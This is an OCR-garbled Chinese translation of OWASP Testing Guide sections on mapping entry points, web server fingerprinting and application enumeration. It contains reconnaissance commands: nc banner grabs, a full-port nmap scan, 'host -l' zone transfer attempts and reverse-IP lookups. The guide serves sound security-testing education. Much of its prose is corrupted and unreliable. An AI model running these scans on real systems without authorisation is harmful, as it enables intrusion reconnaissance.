= Mews

= OSSP Projects = Guide = CLASP
o Bl Welcome to OWASP « TonTen = VebSearat

= Local Chapters the free and open application security community
<

= WehGoat = Contracting™
| >

Dione
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https://www.owasp.org/index.php/Image:Google_Cached_Example.JPG
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| Rk

KA DN 5 ) 2R A T KA )

5%

=

[1] "Google 101: How Google crawls, indexes, and serves the web" -

http://www.google.com/support/webmasters/bin/answer.py?answer=70897

[2] "Advanced Google Search Operators" - http://www.google.com/help/operators.html

[3] "Google SOAP Search API" - http://code.google.com/apis/soapsearch/reference.html#l 2

[4] "Preventing content from appearing in Google search results" -

http://www.google.com/support/webmasters/bin/topic.py?topic=8459

4.2.3 M AR5 (OWASP-1G-003)

|

M2 B AN e Brtiad A2 2 e R A2 BT 2005, e Re s Bl N a4k vl RE A2 98 ki s o IX AN
BOURAEMCZE SE O, 6 HH A I L TR A 2 SR AL P 4 o

| b

EMNRIT UG 2 A, EEE MR N DU /a8 il S5z A B . I EEAN N, OSERTA I http M1
3K (get Mlpost J5ik, WD , PLRBFANKIRG N SE R B, 546, JEFETN get B post iK%
ZHE N . Get 1 RAR 3k 52, (R 38 B BUBHE B 75 AL B I I, 25 A0 post K. WIERARE 2 post ik
KIS, REE—ATRE, kB H Bkl OWASP's WebScarab) BY & W TTHfifF. 7F post i 3k B4 Hl T = —
SRR B, A TTE A BURAE L, ngE S, B, KTk, IR R AN E SR P A DL B L
IE S

FEAEF 2R B, AERN I AN BOAR B R AR AT o AR & R B RSN L2 18] R SR 5 [

RERREMER A WLARLE K B T (KA MON PR [ (AN kA5 L S HEEAE . IXAEI () o+ 0 S5, Rl e ac T
BARKA A (AT RS « REWM, KRR S RRET A L, BFIX A B Bek it . ARl N

Y AR RARAE url, B SR SRAE R, 0 05 SR [N )5 RAR ISR I S, IFRAAHAEIR I B & o 2
PR NAZ AR VR SR I U CEAF IR IR MR GG RINEC T, WEURRZ%) |, OGRS, RS
(POST/GET) , sEfTAEIILIAIE, SSLAZMMA , R DEb N2, RILEHKIMER. — HAREE MK
BEARIY, ARRRERI SN, RPN W] AT AR IR M 2y ARSIk MR LE e T AR, MRS ARE. X6y
T G A KR A KRN EGER IR 8 73, (B AE A AT S Bl T 4 2 i e 200 ) 120 2 A A
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T THT AR T A U SROFH [ N AR AT R . ARV SR 7, O3 GET /POST 7, IXLE/E K2R # A . EEHE
J73, PUT A DELETE [t nf ¥ M . @3, XD UREsk, R AV, WRESHE M. EREEE 8T
AR UTTP B 7715

ik
o fIAMRYEHL 7 i2 ] GET 52, WFekh 712 ] pOST =k,
o  FTHAE POST T A HLINMZE OXUefEilskikd)

o fEpost JAE, JGERURIISE. 4 post KIEI, PraMRAN 7B (WIREHIZSH0 #4E http HE
W AR RIN o BRARRACEE S B heml (RS, SIURE AR, S35, FEURERIT 0T, Hdk
AR R 2 B S B E AN R T AN o

o HIAFTAALE GET iR P24 (bl url) | FEALEERITH . GHEE a?2 J5)

o WHINFRFHRMITA S8 WE L WK, i foo=bar, FIFHRZ SHATE TR IR RS
&, (B RS b T

o REIEEIRAE AT HEC A POST WK HIINZ AN SHUN, 28 sli FTAT I 2 20K s ZOR AT
e VRAEHIAITA S E (RER RS 8 INE D HEAMRLE N P AR B, T 5o U i
WK LEB A, XMEIL T, RS Z AR S 4.

o RIFHWMYELE B XHIAREH B AR LE B (ki debug=False)
Mg 1Y«
o AWM E, BMERIN T B cookies (B cookie SfFE) o

o IAFEIES [P R AT A IR (300 HTTP ARZRAD), 400 RS Rpoplit 403 AE1k, & 500 Wik S5
asdtiiz (Hdn, AREESITERO

o RGBS BB . H Server: BIG-IP BRI A SURCT0 . W3 AT SR, LI
ARSI E RN, KT R TR YK VA S BI04 5 et T T B8 518 T4
GESH)

RGN SE
JS I 0
PUR S0 I E ey g A T A 2 (4511

% 1:
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AT JE7s T I —AN GET & sKRARHA _F I 1 sl 4% 5 o
fA BRI GET 5K«

e GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=2z101a&PRICE=62.50&IP=x.X.X.X

e Host: x.x.x.X

e  Cookie: SESSIONID=Z29vZCBgb2lgcGFkYXdhlG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvemQgaXMgYmFy
e ST R

X HLR S E59 5 2 1 CUSTOMERID, ITEM, PRICE, IP, I Cookie IX S84S5 (1135 3K (X FTREAVAN S22 ts 2 38 T2k k

&)

%l 2:

XA 7R T A POST 155 sk B Rl R H] o

{7 BLf¥) POST 13K
e  POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login
e Host: x.X.X.X

e Cookie:
SESSIONID=dGhpcyBpcyBhlGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxIIGNvb2tpZXMgYWS5kIG1lpbmUgaXMg
MTIzNA==

e  CustomCookie=00my00trusted00ip00is00x.x.x.x00
POST 15 KL 44
user=admin&pass=pass123&debug=true&fromtrustIP=true
R S

FERANPIF PR ZEERURZ AT T A 25, (HIEER, ZZ80E A BAIESL, MARAE URL fRIL, 54ME
EE, A—4HEXH Cookie IELERH],

IR A A S 41

AR TR B VI 3 AT S G S 2 B B K — Ul IXAUGR AT —LeAh B, M AT DU E A3
fRIFALBEEE (i SNMP BEBE,  syslog TR, SMTP, Bk H LB IRSS 4310 SOAP L) o WRATAEAT /R B U

60



OWASP iR FE T v3.0

BEANH], NHITF RN S22 T 2 B A AT s P S A JF R e TRk 38 B, TFAN Sa] A Bl IE
B R L REFR 2 IR ) SOAP 3K, JF 11 web RS AFAEAEMBLEH Ty o CUPSRAE PR G I I 1 AR B 52 Web fik 55 BHCAt
Ditie

2%

H B

e RFC 2616 — Hypertext Transfer Protocol — HTTP 1.1 - http://tools.ietf.org/html/rfc2616

TH
AREFE
e  OWASP: Webscarab

e  Dafydd Stuttard: Burp proxy - http://portswigger.net/proxy/

e MileSCAN: Paros Proxy - http://www.parosproxy.org/download.shtml

TR AR

e  "TamperlE" for Internet Explorer - http://www.bayden.com/TamperlE/

e  Adam Judson: "Tamper Data" for Firefox - https://addons.mozilla.org/en-US/firefox/addon/966

4.2.4 WEB N JH #5403 (OWASP-1G-004)

RS

Wi i 55 s FE SCROR B IE 2 IR IAE S5 o RE RS EATIZ AT I DR 5545 (0288, e g LIl 2
PR R IR L8 LR85 R R 55 (38 2 57k

i) LA i

PUAE T I AT VF 2 AN R AR PR R RIAN 7] £ web R 55 dhicAs . SaE AR DT I web JIRS% de IR AL AT A T Dl i
A RESCAR IR R . fn] DO I A% web [l 55 8vie s dn & FF AT A3 2K LEE B, RUNBREAS web IR S5 as BAFXS
XL E i SNARAN A o S TR PRI web IR 5545 WD AR E iy SV, IR LS ERAFAE web JIR 55 2%
FECEE R, BB MR BEREIX ey 44 B0% 2 web RS54, J0 B S A DU X LE A P2 v B LA s o SR
B W FTHEIVNAE RS, DHEFHE L Web kg5 as, PSR BIRAS AT e 2068 (7] — AN i & S BiAH Bl (H 2
IR ANRRRCASS BT # HTTP i 44 S —#E e BRI, 3l A8 JLAS AR fir 4, S0 i e 1t

PRI S A
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i web R 55 %% i ] PR R e A (1) JE 202 G TR IR 45 4 A0 1) HTTP W sk o BRATTASEES H, BAMEH netcat. %
FELLTF [ HTTP 3% sk i [ «

$nc202.41.76.251 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Mon, 16 Jun 2003 02:53:29 GMT

Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"

Accept-Ranges: bytes

Content-Length: 1179

Connection: close

Content-Type: text/html

MARSGEe4EE, T IERAER, FIREEARS-25HY Apache, FRUA 1.3.3, BYTF Linux #{EREZ,
PU S~ HTTP Wil 3 Sk 4 T BTz,

From an Apache 1.3.23 server:

HTTP/1.1 200 OK

Date: Sun, 15 Jun 2003 17:10: 49 GMT

Server: Apache/1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83

Accept-Ranges: bytes

Content-Length: 196

Connection: close

Content-Type: text/HTML

From a Microsoft IS 5.0 server:

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Expires: Yours, 17 Jun 2003 01:41: 33 GMT

Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML

Accept-Ranges: bytes

Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d

Content-Length: 7369

From a Netscape Enterprise 4.1 server:

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
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Content-type: text/HTML

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57

Accept-ranges: bytes

Connection: close

From a SunONE 6.1 server:

HTTP/1.1 200 OK

Server: Sun-ONE-Web-Server/6.1

Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186

Content-type: text/html

Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes

Connection: close

SR, AR TR ARG . HILNR, RVE—A M, RSBSOS S B bRs AT . B, RATRTEAAS
P

403 HTTP/1.1 Forbidden

Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0

Connection: close

Content-Type: text/HTML; charset=iso-8859-1

TERXFMEILT,  IRSS# AU Xl SN SR AR RS« FAl TP IR LB A4 A Web JIRSS 25 EAE BT,

AT A

TSI BOAR B BT _EVFE AN web IR 2RI FIRF sl FA A 26530, AEIRATTREREHENT th ZE AT i)
Web Ji 55 %5 (122 .

HTTP 3k FBHF

BB N — bR Y, B Web IR 288 — NEFIbREHET . FATA N LI FERIERN
—EF

Response from Apache 1.3.23

$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Sun, 15 Jun 2003 17:10: 49 GMT

Server: Apache/1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
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ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML

Response from IIS 5.0

S nciis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Microsoft-11S/5.0

Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT

Content-Type: text/HTML

Accept-Ranges: bytes

Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT

ETag: W/e0d362a4c335bel: ael

Content-Length: 133

Response from Netscape Enterprise 4.1

$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Netscape-Enterprise/4.1

Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57

Accept-ranges: bytes

Connection: close

Response from a SunONE 6.1

$ nc sunone.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK

Server: Sun-ONE-Web-Server/6.1

Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0

Content-type: text/html

Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close

AT LLFE R, £F Apache , Netscape Enterprise, 1 1IS 2 (7], H¥IFBAIRS 28 7B IHF AR .
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T3 AT A R 1) i 55 s R I IR 336 SR B A AN A R DU T A IRV SR e 5 HELLR HTTP Wi v«

Response from Apache 1.3.23

S nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request

Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23

Connection: close

Transfer: chunked

Content-Type: text/HTML; charset=iso-8859-1

Response from IIS 5.0

S nciis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK
Server: Microsoft-11S/5.0

Content-Location: http://iis.example.com/Default.htm

Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML

Accept-Ranges: bytes

Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335bel: ael
Content-Length: 133

Response from Netscape Enterprise 4.1

S nc netscape.example.com 80
GET /HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1

Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140

Content-type: text/HTML

Connection: close

Response from a SunONE 6.1

$ nc sunone.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
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Content-length: 0
Content-type: text/html
Connection: close

FTAEED), WS EEUAFE KRN RS, NAEAFE o dn R IRATHIA AR 1 T AT K,
[RIRE T LA SRR Bl 00 1 TP S 2

Response from Apache 1.3.23

$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK

Date: Sun, 15 Jun 2003 17:17: 47 GMT

Server: Apache/1.3.23

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83

Accept-Ranges: bytes

Content-Length: 196

Connection: close

Content-Type: text/HTML

Response from 1IS 5.0

$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request

Server: Microsoft-11S/5.0

Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87

Response from Netscape Enterprise 4.1

S nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>

Your browser sent to query this server could not understand.
</BODY></HTML>

Response from a SunONE 6.1

$ nc sunone.example.com 80
GET /JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>

<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
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</BODY></HTML>
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TEHEFITT ) web IRASEHHIREL, W LCRBURZ AT 7%, i, A A3 TRAX LK.
“httprint” J&—MXFERI TR . Httprint $IH — ML H 3, SeiF A RO IEAERE T web iR 5545 R B AT ARCAS o
Bl R I Prig A7) httprint:

LA

httprint version 0.301

Input File =
- - e 0k

|C:\Documenls and SettingssdtanD esktopshttprint_301 Wwin32in g Load i

Signature File -

|C:\D ocuments and SettingzhedtaniDesktophhttprint 307 Wwin32hsi EJ 4

Hast ] Part | &] Banner Reported ‘ EBarner Deduced | Conf.% ]

|| v owasp.org a0 7] #pache/? .20 Fedora) Apache/? 0= B0.60 \
|| v microsaft.com a0 [ MicrosoftliSE0 Microsoftll'5 /6.0 E4.46 ?&

Microsoft-IIS- 6.0
B11C9DCEEZCER927811C9DCE811C9DCE811CYDCEE05FCFER4276E4BB11C9DCE
OD7645B5811C9DCE2A200B4CCD37187C811C9DCER398721E811C9DC5811C9DCE
E2CER927E2CER923E2CERY 2381 1C9DCEEZCER927811C9DCEEEDICZ95811CIDCE
E2CEF927E1CEAR7E1811C9DCSE2CEA923E2CER92 36EDAC2S5AEDAC295E2CERY23
E2CER923FCCCE35FA732FEFOEZCER 927EZCER9 20

Microsoft-IIS-6.0: 107 64d.46 ~
Agranat-EmWeb: 70 13 63

thttpd: 67 11.45%

Apaches2 0.=: 67 11 .45

v
Report File

* (.
C:\Documents and SeftingshsdtantDesktopthttprint_301win32ht [ 2 il A |II

O e

Hhttprint has been completed..

Clear All Oplions

R T HA N H bR web RS s iR 25 8, Hb— A7t /& Neteraft, A TIXA T EFA T LR BIAHE B
11 Web IRZ-28, TRE-SRIER SBITHIE], Netblock M=, B¢ Web IRE-S81 7 s AR Fn#e /B %

IR ERIERS,
4. il
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https://www.owasp.org/index.php/Image:Httprint.jpg

_JETCRAFT

| Toolbar | Netcraft |
Site report for www.owasp.org

Site http:/f www.owasp.org Last reboot B2 days ago BA Uptime graph

Domain OWasp.org Netblock owner USLEC Corp.

IP address 216.48.3.18 Site rank 12753

Country = us Nameserver nsl.secure.net

Date first seen October 2001 DNS admin hestmaster@secure. net

Domain publicinterestregistry. net Reverse DNS unknown

Registry

Organisation OWASP Foundation, 9175 Guilford Rd Suite 300, Columbia, Nameserver MYNAMESERVER, LLC, PO Box 3895, Englewood, BD15S,

21046, United States Organisation United States
Check another
site:
Hosting History
Last
Netblock Owner 1P address os Web Server

changed

USLEC Corp. 6B01 Morrison Blvd Charlotte NC US 28211 216.48.3.18 Linux Apache/2.2.0 Fedora 9-Jan-
2007

USLEC Corp. 6801 Morrison Blvd Charlotte NC US 28211 216.48.3.18 Linux Apache/2.2.0 Fedora 2-Sep-
2006

USLEC Corp. 6801 Morrison Blvd Charlotte NC US 28211 216.48.3.18 Linux Apache/2.0.50 Fedora 2-Aug-
2004

Aspect Security 9175 Guilford RD Columbia MD US 21046 66.255.82.11 FreeBSD Apache 26-Jul-
2004

%75 Cobb Place Blvd Suite 111 Kennesaw GA US 30144 64.30.172.91 Linux Apache/2.0.40 Red Hat Linux 24-Mar-
2004

NetRail, Inc. 1015 31st St MW Washington DC US 20007 207.31.52.40 Linux Apache/2.0.44 Unix 30-Sep-
2003

X0 Communications Corporate Headguarters 11111 Sunset Hills Road 207.155.252.4 Solaris 8 ConcentricHost-Ashurbanipal/1.7 XOTM Web  15-Mar-
Reston VA US Site Hosting 2003

Z%
H B

e  Saumil Shah: "An Introduction to HTTP fingerprinting" - http://net-square.com/httprint/httprint_paper.html

TH

e  httprint - http://net-square.com/httprint/index.shtml

e  Netcraft - http://www.netcraft.com
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4.2.5 N &I (OWASP-1G-005)

1 2

DK Web [ F 22 il i BEK— 20 4R MRS 52 1A N A HE 4 7 Web S5 s Bo VP2 NIRE Y C2AFAE LRI
I AN S AN Brd s, AT ORI S A T R A 2 s . AN, VR N AR IO B A R BB AT ST,
DA IR L T HUE “ N7 DRI BT AT P R A7 AE

i) LA i

Bl RE AU Web RS2 A IIG 22, AR4E00 1:1 BLAY IP HhhbRI Web R4S 88X R IEAER L EIIVFZ AR L.
AWk / N RIRR FPAE R A A0 Al AT 2] A TP (S DLF AN WL CXFP SR TR ST, ARSI
T AL IA D

ER @A NG, IR NS84 TP Hihlk (BTG —AY) ERIRK HAr. nl LA X s ol s 40— A
BIEWR B, (AEATATEOL T, IR S G H R AR IX — Hbs ERITE Web (EILMZARPE) o IRAEM n)
&, IP HuhEYE 80 i I4EAE HITP MRS , (FURWHRARVT Mg () 1P Ml GX2FrAREmNE) , oy “&f

Web AR4s#R A B bl 7 SRMUE B (RS, ZRG L “Bk” T2 Web N HFRF, 0] LI — L5 ANAH O
ff) C DNS ) IRAKVin o BAR, VRHT 03 FEIR 52 W R 4 R sg i, sl RS2 — s, IR B i i 2
TSR ER . A, H SRR B S R VAS R T IP Hhhk s R ILAH N R4 . AR, XA AT R
S THEBERE, W v, e rlBABR T —2845 5 4 - i e R A AIE IR A G A gE R B R
AL !

HoAth 52 M PEA5 Y5 BB I AR R ATAEASH 2 %) URL 1) web N HH, (5040,  http://www. example. com/some—
strange-URL ) , HAbdth 7 TCikBERERIIX AN URL. XAl e A G (PR, R e dos
IR ATFRIE BRI

N T RPIZ L, A7 5 BELLAT Web N HIFE S AL o

B Ik S A5
WEB [ &3

Web W FE PR IS — N RE, BIEAESS € A ERE] Web N HFRF, TIX 45 58 I 4840 8 2 R e B9 —41 1P
ikt (BATREE AWK (net block) ) , {HA[AECLE—E DNS A M EIRE, X—FEAEHEHITITR
i, TR — N R KU K2 R I SO ) R B AT, EXPAMMEDL T, BRIEFE NN (Blan, A
AT HE http://www.example.com/ IS o 7 ) PPN R 78 55 0 Bl B A Thn, RIS A e B ] LU ek 25 52 16 H Aw
IR H o AR NIRRT, A TR S5Ok, Al DL R SEIX — H A5

TE 0 DUF SRR SE 110 ) TR B Web ARSS%%, Bl DNS OB ia) 1P T M4 0948 SR AR5 Fnfl 48 225 1%, T
EL4R BN, BRBAUHN, UM RS M P ik (40 192.168.1.100 ) {R3R@ A 1P Hudk,
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€

B ZANRFE N T AEFRE DNS 3042 (50 1P Hihik) 1 W28 )37 F R B0
1. URL EHEAF

—A> Web N R FF i BB IYIN SR www.example.com , SHEIXFERI RIS, RA1IAK web VT
http://www.example.com/ CX[FFEEHTHT HTTPS ) o 2R, REXEET AT, A FE 4N H 0
N TR B, TRRE RS 44T e OGRS =4 Web NIRRT, :  http://www.example.com/urll
http://www.example.com/url2 http://www.example.com/url3 ZEXFEHL T, Bk http://www.example.com/ A< FCHk
BN RSB I, T =AY G B, BRAETAT T IR A ] g e X L8 HAg, B, FRATAIIE urll,  url2
B url3 o I BRAT L EELLX M R AT Web R, BRAEIRARRLEAAT 42 bR HE T 2CU5 ), RIS AR O A 2
H P ABATHRIR DAL E . XA R RAE X LR M AT, FURABAT T AE AR AR B B I AT .

2. JebrEsR O

HAR Web IR FEIE B T30 5 11 80 ( HTTP ) Fi1 443 ( HTTPS () , i e IS0 B e & X o 355 |,
Web N TR Al ESATA TCP i, FFr A EMu 05U R http[s]://www.example.com:port/. 1,
http://www.example.com:20000/ .

3. B ENL

DNS fSEVF—AN IP JER AN REANFS 4. Flhn, 1P Hikk 192.168.1.100 F AESEA S [) DNS A FKA -
www.example.com , Aelpdesk.example.com , webmail.example.com (5fr b, FHEARITE RKIFTS 2 & 008 T [F—
ASDNS e ) o 3X 168 N O R W] LUE A FH BT R AL BN T AR N 2 - T-IRATTITE AL =ML AHOC

155 WARH ALE HTTP 1.1 Host: header [1].

R ASETRA 140718 helpdesk.example.com 1 webmail.example.com , IRANIASWELRR www.example.com 464 H &
web N AFAE -

fE PR HIL ) BT 5 1——3EFRHE URLs

B A TR DLIE R E R T AFAEA G fr 44 1) Web NIRRT o AR AERRUE,  wiie B 1 bR e ) i 44 150451, (H
SENRRN AT DU — S 5oR R 25 B 158, Wi Web JIRSAECEH 1R, IRV H MW, WA RG]
RERT LUK ISR H o 99 AR 0T DI 7 TR BIVEH] . ok, ek il Ge o 5 X LE R R, a0 XA
1, AR R LI AT ISR E M TR R T b T i RN TIFSELE www.example.com [ & A7 7R X Rl
BN, AT EALTH] site operator 7 Google |48 % H-40 £ A i) “site: www.example.com” [ 45 5o 753 [R] ) j 41k
ATREH AN BRI o Rk, MR A RS BN ) URLs. ltan, ik —4% URLs mIfgn] LAk A M
VEIFTHEAE T, #:  https://www.example.com/webmail, https://webmail.example.com/, 5% https://mail.example.com
[ o X TTIEFREE TR LA BEGE URLs A B (B, —> Tomcat B BEF D , IXLEFHIFRA AL EHY
TR o ABBATIR MATATH T o FrLL, AT — S8 i R (e “R/IReRTI” ) ArREss A 2EacR . 59 R
AR X T7 TR AT LA 2R .
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fR P Ie) B 75 ¥ 2—— bR UEsR O

MR ZE Dy A AR bt s 1P R 22 7547 AE Web NHFES . R Nmap( 2 TR 5 A F A RE 6 1l 1 sV 2 FEEAT ik
SRR, JFRER E AR AR P http [s)95 . BILAETR 22T 64K ¥ TCP S L hik = (W) (R SE B 4 4. o, AH]
—/N TCP A, T KR T AE 1P192.168.1.100 HH K TR0 1, J 4k WIS IR 45 X6k I 1)1 e 11 (Y
B ERTITR, nmap 1) Z FET, XLEIETR AR AERATIEEND -

nmap —PN —sT —sV —p0-65535 192.168.1.100

A TR, A HTTP 8% SSL RSS2 LI (RE Bl HTTPS O o Billn, Z & i il Ll «
Interesting ports on 192.168.1.100:

(The 65527 ports scanned but not shown below are in state: closed)
PORT  STATE SERVICE VERSION

22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)

80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))
443/tcp open ssl OpenSSL

901/tcp open http Samba SWAT administration server
1241/tcp open ssl Nessus security scanner

3690/tcp open unknown

8000/tcp open http-alt?

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1

MIXAN -, W] LA H
e Apache HTTP Jlx 4575 (i I 80 izAT -

o HRALT-AEN T 443 HhjE—A> HTTPS li4s 2% ((H X T B BINESE, B, 305k 4 FH 3] 0 2% J n)
https://192.168.1.100) .

e 901 i1 A —> Samba SWAT W25 S .

o N 1241 EHIIRSS AR HTTPS, T2 SSL-wrapped Nessus daemon .

o Uil 3690 FHKIGEMIRS (Nmap b5 33 ?E&—ii%ﬁ?ﬁﬁ@ BT
FRECE s R Fe s, XA s SR ENTE E AR IR IR S5

HEFEAEA Nmap ()

e i1 8000 (5 MAIHIMRST - XATREARIIE, PO E AR AN FUREL http IRGFART WL 1EIRAIKRE
H:

S telnet 192.168.10.100 8000
Trying 192.168.1.100...
Connected to 192.168.1.100.
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Escape character is ']'.
GET / HTTP/1.0

HTTP/1.0 200 OK
pragma: no-cache
Content-Type: text/html
Server: MX4J-HTTPD/1.0
expires: now

Cache-Control: no-cache

<html>

IKUESE S8 B HTTP RS54 . o, FRATCALATH web S48 V5 i) T 3XAN M4k, 84f it GET 5 HEAD Perl
A KA HTTP AHEAEH, WlF L2 CRET A RS s # A kiE3K) . Apache Tomcat 7£ 4 1 8080 iz
1T

Il A4 2% 0] LS8 B R R AR 2% -F i SE A A R e B R A R A e % TR B0 7E AR b I AT 1) http[s)k4s . filtan,
Nessus[3]RERE AEAT &2 H i€ http[sIIkSs Ca S RARTE = EHARrA R H D, FFIHEE-5CT Nmap (-2 251 web
JIR 25 45 (I AN http[s)IR 451 SSL R . IEWIZ HUTEER11Y,  Nessus JEidk nf BURILIAAT (1 N FHAR 7/ 24845 11, 3
LER] DAIEA B ZE 0 G DL N84T (il tomceat B BEFMAD .

AR B 3—— BRI
HYFZH AT H TR E 0 1P Hilik x.y.z.t AHICECH) DNS 14 .
DNS 15,5 4% #

RS ROLIR DM T, KA DNS IS5 A AR A 4 . SR, R —il. 1ok, i
T xy.z.t XTI RRIRSS o B0 xy.z.t 5275 (%S www.example.com ), LA FRARSS#% o) LLIE
2T HAf%E, W: nslookup , host B¢ dig k3, BIE LK DNS NS ICRHE  WIRAKIE xy.z 3TV F14,
AR H bR LR E— N4, T LSRR AR P At A AR IR 5548 (BRI ARS8 xy.z.t
HIREN R4 D) o Blhn, SR B4 e 1P Hudik x.y.z.t B mail.example.com , FEX} W & example.com 1214
PRIRSS #5 o

PAF 7= B B s 1 A AL A A faT il 72 7 4 BRAIRSS-#% www . owasp . org :

S host -t ns www.owasp.org
www.owasp.org is an alias for owasp.org.
owasp.org name server nsl.secure.net.

owasp.org name server ns2.secure.net.
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K FRIRSS #RHII example . com IR FIREZRIBA: Fedie o AN RAR B 25/, RS EIIX AN — & %1 DNS
% H, XIFEFERT www. example. com FIFYARIRAB B helpdesk.example.com il
webmail.example.com (FNIMAlRE) . K& ML MK ETA AT, JEBEITE SIS H bR S 4

=—g

%O

NI — A2 TR 55 28 06 owasp.org 1 SR 144 55 4 .

S host -l www.owasp.org nsl.secure.net
Using domain server:

Name: nsl.secure.net

Address: 192.220.124.10#53

Aliases:

Host www.owasp.org not found: 5(REFUSED)

; Transfer failed.

DNS JX [7] 2r if]

K BT R, EAKSEA K (PTR) DNS idsk. HH BRI HA, Aol Uil FRBBE B PTR I
e P bk B WERARAL USRI, ERTRES AT BIANICH DNS ZARAC H o IXFHECARUH T 1P Sk A4 1K)
Hetok R, LR RIRIE.

HT Web i DNS 14%

IX PR 2L Tl DNS 45 44 4, (BARH T T Web [IARSS, 4% DNS BHATHE T A ARIHE R . —ANIXFEII AR
%% Netcraft [FJ4828 DNS x5, nI Uil http://searchdns.netcraft.com/?host. {5 A] LAET ) J& T8 E B 3844 11 44
HL, 41 example.com o IS ZARA] LUK A & A AR IE BRI 44 FF O AR BT R 22 160 H # o

I JA] 1P RS

B i) 1P IR g5 AT DNS S [ it AN A TARE W — D EE T MES N, AR FRIRSS 5. AV Rt
Mg o BROAARATAEAEIR ISy CMZH AN BOEER, Sl (il H] 22 Pl ik 55 LLARAS S8 4 (K 20 1 o

Domain tools reverse /P: http://www.domaintools.com/reverse-ip/ (requires free membership)

MSN search: http://search.msn.com syntax: "ip:x.x.x.x" (without the quotes)

Webhosting info: http://whois.webhosting.info/ syntax: http://whois.webhosting.info/x.x.x.x

DNSstuff: http://www.dnsstuff.com/ (multiple services available)

http://net-square.com/msnpawn/index.shtml (multiple queries on domains and IP addresses, requires installation)
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tomDNS: http://www.tomdns.net/ (some services are still private at the time of writing)

SEOlogs.com: http://www.seologs.com/ip-domains.html (reverse-IP/domain lookup)

DA 7o B () s 2 i) bR B Hrh— AN S n) 1P 1RSS5 216.48.3.18 (W45 AL, 4444 www.owasp.org » T35 =AM
B BAR [F A (B PE AT 5 4 DR ER R

WebHosting. Info's Power WHOIS Service

216.48.3.18 - IP hosts 4 Total Domains ...
Showing 1 - 4 out of 4

.é-Dumain Mame ~
1 nDWﬂuSF‘ DRG
2 WEE-GD;E'«T DRG
3 WEE-SC:E'-.R.E'-.E- CDM
4 WEE-SC.&-.R.E'-.E- NET .
il

11 google

KR Z ARG R, B DUKSE S = 5 RO ANSE & R 1) 7. XAl Ress ™ AR 2 8 T 18 B bR 384, 8k
A LG BEE URL 5 o] (S AR o #ian, 2% I8 SHTTH KO8T www.owasp.org ], %8 AT DA ) 45 BJORI I & 4
R 55 KUK webgoat.org ,  webscarab.com , il webscarab.net 4 HICHI{EE ( DNS Z4F%) o ST
{iFH Google £¢ R, W LAZELL M43 WLk, Hlas AMIELT.

| KA

7/

ATER . ANERITIRIN AE 2 M5 R, %0505 S B 71—

2%
H B

[1] REC 2616 — Hypertext Transfer Protocol —HTTP 1.1

TH

®  DNS lookup tools such as ns/ookup, dig or similar.

e  Port scanners (such as nmap, http://www.insecure.org) and vulnerability scanners (such as Nessus: http://www.nessus.org;

wikto: http://www.sensepost.com/research/wikto/).
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e  Search engines (Google, and other major engines).
e  Specialized DNS-related web-based search service: see text.

e nmap - http://www.insecure.org

e  Nessus Vulnerability Scanner - http://www.nessus.org

